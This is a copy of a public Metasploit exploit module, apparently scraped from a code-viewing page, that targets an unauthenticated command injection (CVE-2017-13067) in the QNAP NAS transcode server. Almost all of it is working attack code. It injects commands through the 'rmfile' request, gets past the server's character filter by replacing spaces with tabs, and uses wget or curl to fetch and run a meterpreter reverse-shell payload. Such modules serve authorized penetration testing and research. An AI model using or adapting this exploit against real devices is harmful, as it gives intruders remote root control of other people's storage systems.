Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/qnap_transcode_server.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(update_info(info,13'Name' => 'QNAP Transcode Server Command Execution',14'Description' => %q{15This module exploits an unauthenticated remote command injection16vulnerability in QNAP NAS devices. The transcoding server listens17on port 9251 by default and is vulnerable to command injection18using the 'rmfile' command.1920This module was tested successfully on a QNAP TS-431 with21firmware version 4.3.3.0262 (20170727).22},23'Author' =>24[25'Zenofex', # Initial vulnerability discovery and PoC26'0x00string', # Initial vulnerability discovery and PoC27'bcoles' # Metasploit28],29'License' => MSF_LICENSE,30'Platform' => 'linux',31'References' =>32[33[ 'CVE', '2017-13067' ],34[ 'URL', 'https://www.exploitee.rs/index.php/QNAP_TS-131' ],35[ 'URL', 'http://docs.qnap.com/nas/4.1/Home/en/index.html?transcode_management.htm' ]36],37'DisclosureDate' => '2017-08-06',38'Privileged' => true,39'Arch' => ARCH_ARMLE,40'DefaultOptions' =>41{42'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'43},44'Targets' => [['Automatic', {}]],45'CmdStagerFlavor' => %w{wget curl},46'DefaultTarget' => 0))4748register_options(49[50Opt::RPORT(9251),51OptInt.new('DELAY', [true, 'How long to wait for the device to download the payload', 30])52])53deregister_options 'cmdstager::decoder'54end5556def check57vprint_status 'Connecting to transcode server...'5859connect60sock.put "\x01\x00\x00\x00"61res = sock.get_once6263if res.blank?64vprint_status 'No reply from server'65return CheckCode::Safe66end6768vprint_status "Received response: #{res}"6970return CheckCode::Detected if res.to_s =~ /client's request is accepted/7172CheckCode::Safe73rescue ::Rex::ConnectionError74vprint_error 'Connection failed'75return CheckCode::Unknown76ensure77disconnect78end7980def execute_command(cmd, opts)81# Filtered characters: 0x20 ! $ & 0x39 , ; = [ ] ^ ` { } %82# Execute each command seperately83cmd.split(';').each do |c|84connect85vprint_status "Executing command: #{c}"8687# Replace spaces with tabs88c.tr! ' ', "\t"8990sock.put "\x01\x00\x00\x00/|#{c}|\x00"91res = sock.get_once9293unless res.to_s =~ /client's request is accepted/94print_status 'Unexpected reply'95break96end9798print_status "Sent command successfully (#{c.length} bytes)"99100disconnect101102if c =~ /^(curl|wget)/103print_status "Waiting for the device to download the payload (#{datastore['DELAY']} seconds)..."104Rex.sleep datastore['DELAY']105end106end107rescue ::Rex::ConnectionError108fail_with Failure::Unreachable, 'Failed to connect to the transcode server'109ensure110disconnect111end112113def exploit114vprint_status 'Connecting to transcode server...'115execute_cmdstager linemax: 400116end117end118119120